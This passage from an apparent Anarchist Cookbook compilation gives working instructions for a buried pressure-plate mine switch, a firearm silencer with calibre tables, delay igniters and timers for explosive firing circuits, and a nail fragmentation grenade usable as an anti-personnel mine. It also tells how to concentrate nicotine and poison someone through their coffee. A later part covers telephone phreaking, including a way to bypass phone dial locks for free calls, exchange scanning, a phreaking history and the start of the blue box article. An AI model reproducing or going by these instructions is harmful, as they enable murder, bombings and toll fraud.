  14873.      This flexible plate switch is used for initiating emplaced mines and
  14874. explosives.
  14875.  
  14876. Material Required:
  14877. -----------------
  14878.  
  14879. Two flexible metal sheets
  14880.   one approximately 10 in. (25 cm) square
  14881.   one approximately 10 in. x 8 in. (20 cm)
  14882. Piece of wood 10 in. square x 1 in. thick
  14883. Four soft wood blocks 1 in. x 1 in. x 1/4 in.
  14884. Eight flat head nails, 1 in. long
  14885. Connecting wires
  14886. Adhesive tape
  14887.  
  14888. Procedure:
  14889. ---------
  14890.  
  14891. 1) Nail 10 in. by 8 in. metal sheet to 10 in. square piece of wood so that
  14892.  
  14893.  
  14894. 1 in. of wood shows on each side of the metal. Leave one of the nails
  14895. sticking up about 1/4 in.
  14896. 2) Strip insulation from the end of one connecting wire. Wrap this end
  14897. around the nail and drive the nail all the way in.
  14898. 3) Place the four wood blocks on the corners of the wood base.
  14899. 4) Place the 10 in. square flexible metal sheet so that it rests on the
  14900. blocks in line with the wood base.
  14901. 5) Drive four nails through the metal sheet and the blocks (1 per block)
  14902. to fasten the sheet to the wood base. A second connecting wire is atached
  14903. to one of the nails as in step #2.
  14904. 6) Wrap the adhesive tape around the edges of the plate and wood base.
  14905. This will assure that no dirt or other foreign matter will get between the
  14906. plates and prevent the switch from operating.
  14907.  
  14908. How to use:
  14909. ----------
  14910.  
  14911. The switch is placed in a hole in the path of expected traffic and covered
  14912. with a thin layer of dirt or other camouflaging material. The mine or
  14913. other explosive device connected to the switch can be buried with the
  14914. switch or emplaced elsewhere as desired.
  14915.  
  14916. When a vehicle passes over the switch, the two metal plates make contact
  14917. closing the firing circuit.
  14918.  
  14919.                       ----------------Jolly Roger
  14920.  
  14921.  
  14922. Low Signature Systems (Silencers)                  by the Jolly Roger
  14923.  
  14924.      Low signature systems (silencers) for improvised small arms weapons
  14925. can be made from steel gas or water pipe and fittings.
  14926.  
  14927. Material Required:
  14928. -----------------
  14929. Grenade Container
  14930. Steel pipe nipple, 6 in. (15 cm) long - (see table 1 for diameter)
  14931. 2 steel pipe couplings - (see table 2 for dimensions)
  14932. Cotton cloth - (see table 2)
  14933. Drill
  14934. Absorbent cotton
  14935.  
  14936. Procedure:
  14937. ---------
  14938. 1) Drill hole in grenade container at both ends to fit outside diameter
  14939. of pipe nipple. (see table 1)
  14940.  
  14941.                  ->    /----------------------\
  14942.                 /     |                        |
  14943.         2.75 in |      )                      ( <-holes
  14944.          dia.   \     |                        |
  14945.                  ->   \-----------------------/
  14946.  
  14947.                       |-----------------------|
  14948.                                5 in.
  14949.  
  14950. 2) Drill four rows of holes in pipe nipple. Use table 1 for diameter and
  14951. location of holes.
  14952.  
  14953.  
  14954. ç                      (Note: I suck at ASCII art!)
  14955.  
  14956.                                 6 in.
  14957.                 |-----------------------------------|
  14958.                 _____________________________________ ___
  14959.                 | O O O O O O O O O O O O O O O O O |  | C (nom. dia.)
  14960.                 -------------------------------------
  14961.          (size of hole)   |                   \ / (space between)
  14962.                           B (dia.)             A
  14963.  
  14964.  
  14965. 3) Thread one of the pipe couplings on the drilled pipe nipple.
  14966. 4) Cut coupling length to allow barrel of weapon to thread fully into low
  14967. signature system. Barrel should butt against end of the drilled pipe
  14968. nipple.
  14969. 5) Seperate the top half of the grenade container from the bottom half.
  14970. 6) Insert the pipe nipple in the drilled hole at the base of the bottom
  14971. half of the container. Pack theabsorbent cotton inside the container and
  14972. around the pipe nipple.
  14973. 7) Pack the absorbent cotton in top half of grenade container leaving
  14974. hole in center. Assemble container to the bottom half.
  14975. 8) Thread the other coupling onto the pipe nipple.
  14976.  
  14977. Note: A longer container and pipe nipple, with same "A" and "B"
  14978. dimensions as those given, will furthur reduce the signature of the
  14979. system.
  14980.  
  14981. How to use:
  14982. ----------
  14983.  
  14984. 1) Thread the low signature system on the selected weapon securely.
  14985. 2) Place the proper cotton wad size into the muzzle end of the system
  14986. (see table 2)
  14987. 3) Load weapon
  14988. 4) Weapon is now ready for use
  14989.  
  14990. TABLE 1 -- Low Signature System Dimensions
  14991. ------------------------------------------
  14992.  
  14993.                                         (Coupling)  Holes per   (4 rows)
  14994.                A         B         C         D         Row        Total
  14995. ------------------------------------------------------------------------
  14996. .45 cal        3/8       1/4       3/8       3/8       12           48
  14997.  
  14998. .38 cal        3/8       1/4       1/4       1/4       12           48
  14999.  
  15000.   9 mm         3/8       1/4       1/4       1/4       12           48
  15001.  
  15002. 7.62 mm        3/8       1/4       1/4       1/4       12           48
  15003.  
  15004. .22 cal        1/4       5/32      1/8*      1/8       14           50
  15005. ------------------------------------------------------------------------
  15006.            *Extra Heavy Pipe
  15007.        (All dimensions in inches)
  15008.  
  15009.  
  15010. TABLE 2 -- Cotton Wadding - Sizes
  15011. ---------------------------------
  15012.  
  15013.  
  15014. ç-------------------------------------------------
  15015. Weapon                        Cotton Wadding Size
  15016. -------------------------------------------------
  15017. .45 cal                       1-1/2 x 6 inches
  15018.  
  15019. .38 cal                       1 x 4 inches
  15020.  
  15021.   9 mm                        1 x 4 inches
  15022.  
  15023. 7.62 mm                       1 x 4 inches
  15024.  
  15025. .22 cal                       Not needed
  15026. -------------------------------------------------
  15027.  
  15028.                 ------------------Jolly Roger
  15029.  
  15030. Delay Igniter from a Cigarette                       by the Jolly Roger
  15031.  
  15032.      A simple and economical (everyone wants to save money haha) time
  15033. delay can be made with a common cigarette.
  15034.  
  15035. Materials Required:
  15036. ------------------
  15037.  
  15038. Cigarette
  15039. Paper match
  15040. String (shoelace or similar cord)
  15041. Fuse cord (improvised or commercial)
  15042.  
  15043. Procedure:
  15044. ---------
  15045.  
  15046. 1) Cut end of fuse cord at a slant to expose inner core
  15047. 2) Light cigarette in normal fashion. Place a paper match so that the had
  15048. is over exposed exposed end of fuse cord and tie both to the side of the
  15049. burning cigarette with string.
  15050. 3) Position the burning cigarette with fuse so that it burns freely. A
  15051. suggested method is to hang the delay on a twig.
  15052.  
  15053. Note: Common dry cigarettes burn about 1 inch every 7 or 8 minutes in
  15054. still air. (Now I am talking about all except American brands, which burn
  15055. about 1 inch every 4-5 minutes) If the fuse cord is place one inch from
  15056. the burning end of the cigarette a time delay of 7 or 8 minutes will
  15057. result.
  15058.       Delay time will vary depending upon type of cigarette, wind,
  15059. moisture, and other atmospherc conditions (get to know your cigarette!)
  15060.       To obtain accurate delay time, a test run should be made under
  15061. "use" conditions.
  15062.  
  15063.                  ----------------Jolly Roger
  15064.  
  15065.  
  15066. Nicotine                                      by the Jolly Roger
  15067.  
  15068.      Nicotine is an abundant poison. Easily found in tobacco
  15069. products, in concentrated form a few drops can quickly kill
  15070. someone. Here is how to concentrate it:
  15071.  
  15072.  
  15073.  
  15074.      First get a can of chewing tobacco or pipe tobacco. Remove
  15075. the contents and soak in water overnight in a jar (about 2/3 cup
  15076. of water will do...). In the morning, strain into another jar the
  15077. mixture through a porous towel. Then wrap the towel around the
  15078. ball of tobacco and squeeze it until all of the liquid is in the
  15079. jar. Throw away the tobacco--you will not need it anymore.
  15080.  
  15081.      Now you have two options. I recommend the first. It makes the
  15082. nicotine more potent.
  15083.      1) Allow to evaporate until a sticky syrup results in the
  15084. jar. This is almost pure nicotine (hell, it is pure enough for
  15085. sure!).
  15086.      2) Heat over low flame until water is evaporated and a thick
  15087. sticky syrup results (I don't know how long it takes... shouldn't
  15088. take too long, though.).
  15089.  
  15090.      Now all you have to do, when you wish to use it, is to put
  15091. a few drops in a medicine dropper or equivalent, and slip about 4
  15092. or 5 drops into the victim's coffee. Coffee is recommended since it
  15093. will disguise the taste. Since nicotine is a drug, the victim
  15094. should get quite a buzz before they turn their toes up to the
  15095. daisies, so to speak.
  15096.  
  15097.      Note: If the syrup is too sticky, dilute it with a few drops
  15098. of water. And while you are at it, better add an extra drop to the
  15099. coffee just to be sure!
  15100.  
  15101.                   ----------------Jolly Roger
  15102.  
  15103.  
  15104. Dried Seed Timer                                    by the Jolly Roger
  15105.  
  15106.      A time delay device for electrical firing circuits can be made using
  15107. the principle of expansion of dried seeds.
  15108.  
  15109. Material Required:
  15110. -----------------
  15111.  
  15112. Dried peas, beans, or oter dehydrated seeds
  15113. Wide-mouth glass jar with non-metal cap
  15114. Two screws or bolts
  15115. Thin metal plate
  15116. Hand drill
  15117. Screwdriver
  15118.  
  15119. Procedure:
  15120. ---------
  15121. 1) Determine the rate of the rise of the dried seeds selected. This is
  15122. necessary to determine the delay time of the timer.
  15123.      a) Place a sample of the dried seeds in the jar and cover with
  15124.         water.
  15125.      b) Measure the time it takes for the seeds to rise a given height.
  15126.         Most dried seeds increase 50% in one to two hours.
  15127. 2) Cut a disc from thin metal plate. Disc should fit loosely inside the
  15128. jar.
  15129.  
  15130. NOTE: If metal is painted, rusty, or otherwise coated, it must be scraped
  15131. or sanded to obtain a clean metal surface
  15132.  
  15133.  
  15134. ç3) Drill two holes in the cap of the jar about 2 inches apart. Diameter
  15135. of holes should be such that screws or bolts will thread tightly into
  15136. them. If the jar has a metal cap or no cap, a piece of wood or plastic
  15137. (NOT METAL) can be used as a cover.
  15138. 4) Turn the two screws or bolts through the holes in the cap. Bolts
  15139. should extend about one in. (2 1/2 cm) into the jar.
  15140.  
  15141. IMPORTANT: Both bolts must extend the same distance below the container
  15142. cover.
  15143.  
  15144. 5) Pour dried seeds into the container. The level will depend upon the
  15145. previously measured rise time and the desired delay.
  15146. 6) Place the metal disc in the jar on top of the seeds.
  15147.  
  15148. How to use:
  15149. ----------
  15150.  
  15151. 1) Add just enough water to completely cover the seeds and place the cap
  15152. on the jar.
  15153. 2) Attach connecting wires from the firing circuit to the two screws on
  15154. the cap.
  15155.  
  15156. Expansion of the seeds will raise the metal disc until it contacts the
  15157. screws and closes the circuit.
  15158.  
  15159.                 ---------------------Jolly Roger
  15160.  
  15161.  
  15162. Nail Grenade                                       by the Jolly Roger
  15163.  
  15164.      Effective fragmentation grenades can be made from a block of tnt or
  15165. other blasting explosive and nails.
  15166.  
  15167. Material Required:
  15168. -----------------
  15169.  
  15170. Block of TNT or other blasting explosive
  15171. Nails
  15172. Non-electric (military or improvised) blasting cap
  15173. Fuse Cord
  15174. Tape, string, wire, or glue
  15175.  
  15176. Procedure:
  15177. ---------
  15178.  
  15179. 1) If an explosive charge other than a standard TNT block is used, make a
  15180. hole in the center of the charge for inserting the blasting cap. TNT can
  15181. be drilled with relative safety. With plastic explosives, a hole can be
  15182. made by pressing a round stick into the center of the charge. The hole
  15183. should be deep enough that the blasting cap is totally within the
  15184. explosive.
  15185. 2) Tape, tie, or glue one or two rows of closely packed nails to the
  15186. sides of the explosive block. Nails should completely cover the four
  15187. surfaces of the block.
  15188. 3) Place blasting cap on one end of the fuse cord and crimp with pliers.
  15189.  
  15190. NOTE: To find out how long the fuse cord should be, check the time it
  15191. takes a known length to burn. If 12 inches (30 cm) burns for 30 seconds,
  15192.  
  15193.  
  15194. a 10 second delay will require a 4 inch (10 cm) fuse.
  15195.  
  15196. 4) Insert the blasting cap in the hole in the block of explosive. Tape or
  15197. tie fuse cord securly in place so that it will not fall out when the
  15198. grenade is thrown.
  15199.  
  15200. Alternate Use:
  15201. -------------
  15202.  
  15203. An effective directional anti-personnel mine can be made by placing nails
  15204. on only one side of the explosive block. For thi case, and electric
  15205. blasting cap can be used.
  15206.  
  15207.               ------------------Jolly Roger
  15208.  
  15209.  
  15210. The Bell Glossary                         courtesy of the Jolly Roger
  15211.  
  15212.     ......................................................................
  15213.     ......................................................................
  15214.     .                        The Bell Glossary -                        ..
  15215.     .                               by                                  ..
  15216.     .                         /\<\     /\<\                             ..
  15217.     .                        </\>\>ad </\>\>arvin                       ..
  15218.     ......................................................................
  15219.     ......................................................................
  15220.  
  15221. ACD: Automatic Call Distributor - A system that automatically distributes
  15222. calls
  15223. to operator pools (providing services such as intercept and directory
  15224. assistance), to airline ticket agents, etc.
  15225.  
  15226. Administration: The tasks of record-keeping, monitoring, rearranging,
  15227. prediction need for growth, etc.
  15228.  
  15229. AIS: Automatic Intercept System - A system employing an audio-response unit
  15230. under control of a processor to automatically provide pertinent info to
  15231. callers
  15232. routed to intercept.
  15233.  
  15234. Alert: To indicate the existence of an incoming call, (ringing).
  15235.  
  15236. ANI: Automatic Number Identification - Often pronounced "Annie," a facility
  15237. for
  15238. automatically identify the number of the calling party for charging
  15239. purposes.
  15240.  
  15241. Appearance: A connection upon a network terminal, as in "the line has two
  15242. network appearances."
  15243.  
  15244. Attend: The operation of monitoring a line or an incoming trunk for
  15245. off-hook or
  15246. seizure, respectively.
  15247.  
  15248. Audible: The subdued "image" of ringing transmitted to the calling party
  15249. during
  15250. ringing; not derived from the actual ringing signal in later systems.
  15251.  
  15252.  
  15253.  
  15254. Backbone Route: The route made up of final-group trunks between end offices
  15255. in
  15256. different regional center areas.
  15257.  
  15258. BHC: Busy Hour Calls - The number of calls placed in the busy hour.
  15259.  
  15260. Blocking: The ratio of unsuccessful to total attempts to use a facility;
  15261. expresses as a probability when computed a priority.
  15262.  
  15263. Blocking Network: A network that, under certain conditions, may be unable
  15264. to
  15265. form a transmission path from one end of the network to the other. In
  15266. general,
  15267. all networks used within the Bell Systems are of the blocking type.
  15268.  
  15269. Blue Box: Equipment used fraudulently to synthesize signals, gaining access
  15270. to
  15271. the toll network for the placement of calls without charge.
  15272.  
  15273. BORSCHT Circuit: A name for the line circuit in the central office. It
  15274. functions as a mnemonic for the functions that must be performed by the
  15275. circuit: Battery, Overvoltage, Ringing, Supervision, Coding, Hybrid, and
  15276. Testing.
  15277.  
  15278. Busy Signal: (Called-line-busy) An audible signal which, in the Bell
  15279. System,
  15280. comprises 480hz and 620hz interrupted at 60IPM.
  15281.  
  15282. Bylink: A special high-speed means used in crossbar equipment for routing
  15283. calls
  15284. incoming from a step-by-step office. Trunks from such offices are often
  15285. referred to as "bylink" trunks even when incoming to noncrossbar offices;
  15286. they
  15287. are more properly referred to as "dc incoming trunks." Such high-speed
  15288. means
  15289. are necessary to assure that the first incoming pulse is not lost.
  15290.  
  15291. Cable Vault: The point which phone cable enters the Central Office
  15292. building.
  15293.  
  15294. CAMA: Centralized Automatic Message Accounting - Pronounced like Alabama.
  15295.  
  15296. CCIS: Common Channel Interoffice Signaling - Signaling information for
  15297. trunk
  15298. connections over a separate, nonspeech data link rather that over the
  15299. trunks
  15300. themselves.
  15301.  
  15302. CCITT: International Telegraph and Telephone Consultative Committee- An
  15303. International committee that formulates plans and sets standards for
  15304. intercountry communication means.
  15305.  
  15306. CDO: Community Dial Office - A small usually rural office typically served
  15307. by
  15308. step-by-step equipment.
  15309.  
  15310. CO: Central Office - Comprises a switching network and its control and
  15311. support
  15312.  
  15313.  
  15314. equipment. Occasionally improperly used to mean "office code."
  15315.  
  15316. Centrex: A service comparable in features to PBX service but implemented
  15317. with
  15318. some (Centrex CU) or all (Centrex CO) of the control in the central office.
  15319. In
  15320. the later case, each station's loop connects to the central office.
  15321.  
  15322. Customer Loop: The wire pair connecting a customer's station to the central
  15323. office.
  15324.  
  15325. DDD: Direct Distance Dialing - Dialing without operator assistance over the
  15326. nationwide intertoll network.
  15327.  
  15328. Direct Trunk Group: A trunk group that is a direct connection between a
  15329. given
  15330. originating and a given terminating office.
  15331.  
  15332. EOTT: End Office Toll Trunking - Trunking between end offices in different
  15333. toll
  15334. center areas.
  15335.  
  15336. ESB: Emergency Service Bureau - A centralized agency to which 911
  15337. "universal"
  15338. emergency calls are routed.
  15339.  
  15340. ESS: Electronic Switching System - A generic term used to identify as a
  15341. class,
  15342. stored-program switching systems such as the Bell System's No.1 No.2, No.3,
  15343. No.4, or No.5.
  15344.  
  15345. ETS: Electronic Translation Systems - An electronic replacement for the
  15346. card
  15347. translator in 4A Crossbar systems. Makes use of the SPC 1A Processor.
  15348.  
  15349. False Start: An aborted dialing attempt.
  15350.  
  15351. Fast Busy: (often called reorder) - An audible busy signal interrupted at
  15352. twice
  15353. the rate of the normal busy signal; sent to the originating station to
  15354. indicate
  15355. that the call blocked due to busy equipment.
  15356.  
  15357. Final Trunk Group: The trunk group to which calls are routed when available
  15358. high-usage trunks overflow; these groups generally "home" on an office next
  15359. highest in the hierarchy.
  15360.  
  15361. Full Group: A trunk group that does not permit rerouting off-contingent
  15362. foreign
  15363. traffic; there are seven such offices.
  15364.  
  15365. Glare: The situation that occurs when a two-way trunk is seized more or
  15366. less
  15367. simultaneously at both ends.
  15368.  
  15369. High Usage Trunk Group: The appellation for a trunk group that has
  15370. alternate
  15371. routes via other similar groups, and ultimately via a final trunk group to
  15372.  
  15373.  
  15374. a
  15375. higher ranking office.
  15376.  
  15377. Intercept: The agency (usually an operator) to which calls are routed when
  15378. made
  15379. to a line recently removed from a service, or in some other category
  15380. requiring
  15381. explanation. Automated versions (ASI) with automatic voiceresponse units
  15382. are
  15383. growing in use.
  15384.  
  15385. Interrupt: The interruption on a phone line to disconnect and connect with
  15386. another station, such as an Emergence Interrupt.
  15387.  
  15388. Junctor: A wire or circuit connection between networks in the same office.
  15389. The
  15390. functional equivalent to an intraoffice trunk.
  15391.  
  15392. MF: Multifrequency - The method of signaling over a trunk making use of the
  15393. simultaneous application of two out of six possible frequencies.
  15394.  
  15395. NPA: Numbering Plan Area.
  15396.  
  15397. ONI: Operator Number Identification - The use of an operator in a CAMA
  15398. office
  15399. to verbally obtain the calling number of a call originating in an office
  15400. not
  15401. equipped with ANI.
  15402.  
  15403. PBX: Private Branch Exchange - (PABX: Private Automatic Branch Exchange) An
  15404. telephone office serving a private customer, Typically , access to the
  15405. outside
  15406. telephone network is provided.
  15407.  
  15408. Permanent Signal: A sustained off-hook condition without activity (no
  15409. dialing
  15410. or ringing or completed connection); such a condition tends to tie up
  15411. equipment, especially in earlier systems. Usually accidental, but sometimes
  15412. used intentionally by customers in high-crime-rate areas to thwart off
  15413. burglars.
  15414.  
  15415. POTS: Plain Old Telephone Service - Basic service with no extra "frills".
  15416.  
  15417. ROTL: Remote Office Test Line - A means for remotely testing trunks.
  15418.  
  15419. RTA: Remote Trunk Arrangement - An extension to the TSPS system permitting
  15420. its
  15421. services to be provided up to 200 miles from the TSPS site.
  15422.  
  15423. SF: Single Frequency. A signaling method for trunks: 2600hz is impressed
  15424. upon
  15425. idle trunks.
  15426.  
  15427. Supervise: To monitor the status of a call.
  15428.  
  15429. SxS: (Step-by-Step or Strowger switch) - An electromechanical office type
  15430. utilizing a gross-motion stepping switch as a combination network and
  15431. distributed control.
  15432.  
  15433.  
  15434. çTalkoff: The phenomenon of accidental synthesis of a machine-intelligible
  15435. signal by human voice causing an unintended response. "whistling a tone".
  15436.  
  15437. Trunk: A path between central offices; in general 2-wire for interlocal,
  15438. 4-wire
  15439. for intertoll.
  15440.  
  15441. TSPS: Traffic Service Position System - A system that provides, under
  15442. stored-
  15443. program control, efficient operator assistance for toll calls. It does not
  15444. switch the customer, but provides a bridge connection to the operator.
  15445.  
  15446. X-bar: (Crossbar) - An electromechanical office type utilizing a
  15447. "fine-motion"
  15448. coordinate switch and a multiplicity of central controls (called markers).
  15449. There are four varieties:
  15450.         No.1 Crossbar: Used in large urban office application; (1938)
  15451.         No 3 Crossbar: A small system started in (1974).
  15452.         No.4A/4M Crossbar: A 4-wire toll machine; (1943).
  15453.         No.5 Crossbar: A machine originally intended for relatively small
  15454.                        suburban applications; (1948)
  15455.         Crossbar Tandem: A machine used for interlocal office switching.
  15456.  
  15457.  
  15458. Phone Dial Locks -- How to Beat'em      courtesy of the Jolly Roger
  15459.  
  15460.     Have you ever been in an office or somewhere and wanted to make a free
  15461. phone
  15462. call but some asshole put a lock on the phone to prevent out-going calls?
  15463. Fret
  15464. no more phellow phreake, for every system can be beaten with a little
  15465. knowledge!
  15466.  
  15467.     There are two ways to beat this obstacle, first pick the lock, I don't
  15468. have
  15469. the time to teach locksmithing so we go to the second method which takes
  15470. advantage of telephone electronics.
  15471.  
  15472.     To be as simple as possibnle when you pick up the phone you complete a
  15473. circuit known as a local loop. When you hang up you break the circuit.
  15474. When
  15475. you dial (pulse) it also breaks the circuit but not long enough to hang up!
  15476. So
  15477. you can "Push-dial."  To do this you >>> RAPIDLY <<< depress the
  15478. switchhook.
  15479. For example, to dial an operator (and then give her the number you want to
  15480. call)
  15481. >>> RAPIDLY <<< & >>> EVENLY <<< depress the switchhook 10 times.  To dial
  15482. 634-1268, depress 6 X'S pause, then 3 X'S, pause, then 4X'S, etc.  It takes
  15483. a
  15484. little practice but you'll get the hang of it.  Try  practicing with your
  15485. own #
  15486. so you'll get a busy tone when right.  It'll also work on touch-tone(tm)
  15487. since
  15488. a DTMF line will also accept pulse.  Also, never depress the switchhook for
  15489. more than a second or it'll hang up!
  15490.  
  15491.     Finally, remember that you have just as much right to that phone as the
  15492.  
  15493.  
  15494. asshole who put the lock on it!
  15495.  
  15496.                  (From the Official Phreaker's Guide)
  15497.  
  15498.  
  15499.  
  15500. Exchange Scanning                       courtesy of the Jolly Roger
  15501.  
  15502.  
  15503.     Almost every exchange in the bell system has test #'s and other
  15504. "goodies"
  15505. such as loops with dial-ups. These "goodies" are usually found betweed 9900
  15506. and 9999 in your local exchange.  If you have the time and initiative, scan
  15507. your exchange and you may become lucky!
  15508.  
  15509. Here are some findings in the 914-268 exchange:
  15510.  
  15511.  
  15512. 9900 - ANI
  15513. 9901 - ANI
  15514. 9927 - OSC. TONE (POSSIBLE TONE SIDE OF A LOOP)
  15515. 9936 - VOICE # TO THE TELCO CENTRAL OFFICE
  15516. 9937 - VOICE # TO THE TELCO CENTRAL OFFICE
  15517. 9941 - COMPUTER (DIGITAL VOICE TRANSMISSION?)
  15518. 9960 - OSC. TONE (TONE SIDE LOOP) MAY ALSO BE A COMPUTER IN SOME EXCHANGES
  15519. 9961 - NO RESPONSE (OTHER END OF LOOP?)
  15520. 9962 - NO RESPONSE (OTHER END OF LOOP?)
  15521. 9963 - NO RESPONSE (OTHER END OF LOOP?)
  15522. 9966 - COMPUTER (SEE 9941)
  15523. 9968 - TONE THAT DISAPPEARS--RESPONDS TO CERTAIN TOUCH-TONE KEYS
  15524.  
  15525.     Most of the numbers between 9900 & 9999 will ring or go to a "what #,
  15526. please?" operator.
  15527.  
  15528.                    (from the Official Phreaker's Manual)
  15529.  
  15530.  
  15531. A Short History of Phreaking             courtesy of the Jolly Roger
  15532.  
  15533.    Well now we know a little vocabulary, and now its into history, Phreak
  15534. history.  Back at MIT in 1964 arrived a student by the name of Stewart
  15535. Nelson,
  15536. who was extremely interested in the telephone.  Before entering MIT, he had
  15537. built autodialers, cheese boxes, and many more gadgets.  But when he came
  15538. to
  15539. MIT he became even more interested in "fone-hacking" as they called it.
  15540. After
  15541. a little while he naturally started using the PDP-1, the schools computer
  15542. at
  15543. that time, and from there he decided that it would be interesting to see
  15544. whether the computer could generate the frequencies required for blue
  15545. boxing.
  15546. The hackers at MIT were not interested in ripping off Ma Bell, but just
  15547. exploring the telephone network.  Stew (as he was called) wrote a program
  15548. to
  15549. generate all the tones and set off into the vast network.
  15550.    Now there were more people phreaking than the ones at MIT.  Most people
  15551. have
  15552.  
  15553.  
  15554. heard of Captain Crunch (No not the cereal), he also discovered how to take
  15555. rides through the fone system, with the aid of a small whistle found in a
  15556. cereal box (can we guess which one?).  By blowing this whistle, he
  15557. generated
  15558. the magical 2600hz and into the mouthpiece it sailed, giving him complete
  15559. control over the system.  I have heard rumors that at one time he made
  15560. about
  15561. 1/4 of the calls coming out of San Francisco.  He got famous fast.  He made
  15562. the
  15563. cover of people magazine and was interviewed several times (as you'll soon
  15564. see).  Well he finally got caught after a long adventurous career.  After
  15565. he
  15566. was caught he was put in jail and was beaten up quite badly because he
  15567. would
  15568. not teach other inmates how to box calls.  After getting out, he joined
  15569. Apple
  15570. computer and is still out there somewhere.
  15571.    Then there was Joe the Whistler, blind form the day he was born.  He
  15572. could
  15573. whistle a perfect 2600hz tone.  It was rumored phreaks used to call him to
  15574. tune
  15575. their boxes.
  15576.    Well that was up to about 1970, then from 1970 to 1979, phreaking was
  15577. mainly
  15578. done by college students, businessmen and anyone who knew enough about
  15579. electronics and the fone company to make a 555 Ic to generate those magic
  15580. tones.  Businessmen and a few college students mainly just blue box to get
  15581. free
  15582. calls.  The others were still there, exploring 800#'s and the new ESS
  15583. systems.
  15584. ESS posed a big problem for phreaks then and even a bigger one now.  ESS
  15585. was
  15586. not widespread, but where it was, blue boxing was next to impossible except
  15587. for
  15588. the most experienced phreak.  Today ESS is installed in almost all major
  15589. cities
  15590. and blue boxing is getting harder and harder.
  15591.    1978 marked a change in phreaking, the Apple ][, now a computer that was
  15592. affordable, could be programmed, and could save all that precious work on a
  15593. cassette.  Then just a short while later came the Apple Cat modem.  With
  15594. this
  15595. modem, generating all blue box tones was easy as writing a program to count
  15596. form one to ten (a little exaggerated).  Pretty soon programs that could
  15597. imitate an operator just as good as the real thing were hitting the
  15598. community,
  15599. TSPS and Cat's Meow, are the standard now and are the best.
  15600.    1982-1986: LD services were starting to appear in mass numbers.  People
  15601. now
  15602. had programs to hack LD services, telephone exchanges, and even passwords.
  15603. By
  15604. now many phreaks were getting extremely good and BBS's started to spring up
  15605. everywhere, each having many documentations on phreaking for the novice.
  15606. Then
  15607. it happened, the movie War Games was released and mass numbers of sixth
  15608. grade
  15609. to all ages flocked to see it.  The problem wasn't that the movie was bad,
  15610. it
  15611. was that now EVERYONE wanted to be a hacker/phreak.  Novices came out in
  15612.  
  15613.  
  15614. such
  15615. mass numbers, that bulletin boards started to be busy 24 hours a day.  To
  15616. this
  15617. day, they still have not recovered.  Other problems started to occur,
  15618. novices
  15619. guessed easy passwords on large government computers and started to play
  15620. around...  Well it wasn't long before they were caught, I think that many
  15621. people remember the 414-hackers.  They were so stupid as to say "yes" when
  15622. the
  15623. computer asked them whether they'd like to play games.  Well at least it
  15624. takes
  15625. the heat off the real phreaks/hacker/krackers.
  15626.  
  15627.                  (from the Official Phreaker's Manual)
  15628.  
  15629.                    -----> Courtesy of the Jolly Roger<-----
  15630.  
  15631.          ***** The AAG Proudly Presents The AAG Proudly Presents *****
  15632.          *                                                           *
  15633.          *      +----------------------------------------------+     *
  15634.          *                                                           *
  15635.          *              Secrets of the Little Blue Box               *
  15636.          *                                                           *
  15637.          *                     by Ron Rosenbaum                      *
  15638.          *                 Typed by One Farad Cap/AAG                *
  15639.          *                                                           *
  15640.          *        -A story so incredible it may even make you        *
  15641.          *             feel sorry for the phone company-             *
  15642.          *                                                           *
  15643.          *                  (First of four files)                    *
  15644.          *                                                           *
  15645.          *      +----------------------------------------------+     *
  15646.          *                                                           *
  15647.          ***** The AAG Proudly Presents The AAG Proudly Presents *****
  15648.  
  15649. Dudes... These four files contain the story, "Secrets of the Little Blue
  15650. Box",
  15651. by Ron Rosenbaum.
  15652.  
  15653. -A story so incredible it may even make you feel sorry for the phone
  15654. company-
  15655.  
  15656. Printed in the October 1971 issue of Esquire Magazine.  If you happen to be
  15657. in
  15658. a library and come across a collection of Esquire magazines, the October
  15659. 1971
  15660. issue is the first issue printed in the smaller format.  The story begins
  15661. on
  15662. page 116 with a picture of a blue box.
  15663.                                       --One Farad Cap, Atlantic Anarchist
  15664. Guild
  15665.  
  15666.  
  15667. The Blue Box Is Introduced: Its Qualities Are Remarked
  15668.  
  15669. I am in the expensively furnished living room of Al Gilbertson (His real
  15670. name
  15671. has been changed.), the creator of the "blue box." Gilbertson is holding
  15672.  
  15673.  
  15674. one of
  15675. his shiny black-and-silver "blue boxes" comfortably in the palm of his
  15676. hand,
  15677. pointing out the thirteen little red push buttons sticking up from the
  15678. console.
  15679. He is dancing his fingers over the buttons, tapping out discordant beeping
  15680. electronic jingles.  He is trying to explain to me how his little blue box
  15681. does
  15682. nothing less than place the entire telephone system of the world,
  15683. satellites,
  15684. cables and all, at the service of the blue-box operator, free of charge.
  15685.  
  15686. "That's what it does.  Essentially it gives you the power of a super
  15687. operator.
  15688. You seize a tandem with this top button," he presses the top button with
  15689. his
  15690. index finger and the blue box emits a high-pitched cheep, "and like that"
  15691. --
  15692. cheep goes the blue box again -- "you control the phone company's
  15693. long-distance
  15694. switching systems from your cute little Princes phone or any old pay phone.
  15695. And you've got anonymity.  An operator has to operate from a definite
  15696. location:
  15697. the phone company knows where she is and what she's doing.  But with your
  15698. beeper box, once you hop onto a trunk, say from a Holiday Inn 800
  15699. (toll-free)
  15700. number, they don't know where you are, or where you're coming from, they
  15701. don't
  15702. know how you slipped into their lines and popped up in that 800 number.
  15703. They
  15704. don't even know anything illegal is going on.  And you can obscure your
  15705. origins
  15706. through as many levels as you like.  You can call next door by way of White
  15707. Plains, then over to Liverpool by cable, and then back here by satellite.
  15708. You
  15709. can call yourself from one pay phone all the way around the world to a pay
  15710. phone next to you.  And you get your dime back too."
  15711.  
  15712. "And they can't trace the calls?  They can't charge you?"
  15713. "Not if you do it the right way.  But you'll find that the free-call thing
  15714. isn't really as exciting at first as the feeling of power you get from
  15715. having
  15716. one of these babies in your hand.  I've watched people when they first get
  15717. hold
  15718. of one of these things and start using it, and discover they can make
  15719. connections, set up crisscross and zigzag switching patterns back and forth
  15720. across the world.  They hardly talk to the people they finally reach.  They
  15721. say
  15722. hello and start thinking of what kind of call to make next.  They go a
  15723. little
  15724. crazy."  He looks down at the neat little package in his palm.  His fingers
  15725. are
  15726. still dancing, tapping out beeper patterns.
  15727.  
  15728. "I think it's something to do with how small my models are.  There are lots
  15729. of
  15730. blue boxes around, but mine are the smallest and most sophisticated
  15731. electronically.  I wish I could show you the prototype we made for our big
  15732.  
  15733.  
  15734. syndicate order."
  15735.  
  15736. He sighs.  "We had this order for a thousand beeper boxes from a syndicate
  15737. front man in Las Vegas.  They use them to place bets coast to coast, keep
  15738. lines
  15739. open for hours, all of which can get expensive if you have to pay.  The
  15740. deal
  15741. was a thousand blue boxes for $300 apiece. Before then we retailed them for
